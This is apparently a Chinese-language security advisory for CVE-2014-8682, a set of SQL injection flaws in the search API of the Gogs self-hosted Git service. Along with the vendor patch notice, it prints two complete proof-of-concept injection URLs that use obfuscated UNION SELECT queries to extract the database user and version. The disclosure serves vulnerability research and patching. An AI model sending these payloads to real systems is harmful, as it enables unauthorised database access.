Gogs 多个SQL注入漏洞(CVE-2014-8682)
发布日期:2014-11-19
更新日期:2014-11-20
受影响系统:Gogs Gogs <= v0.5.6.1104-g0c5ba45
Gogs Gogs 0.3.1-9-g49dc57e
描述:
BUGTRAQ ID:
71187
CVE(CAN) ID:
CVE-2014-8682
Gogs是用Go编写的自托管Git服务。
Gogs用api视图搜索系统内现有的库,该视图访问位于/api/v1/repos/search?q=<search query>,其中的q参数在实现上存在sql注入漏洞,攻击者可利用此漏洞完全控制数据库。
<*来源:Pascal Turbing
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/('%25'%3D'
建议:
厂商补丁:
Gogs
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://github.com/gogits/gogs浏览次数:2138
严重程度:0(网友投票)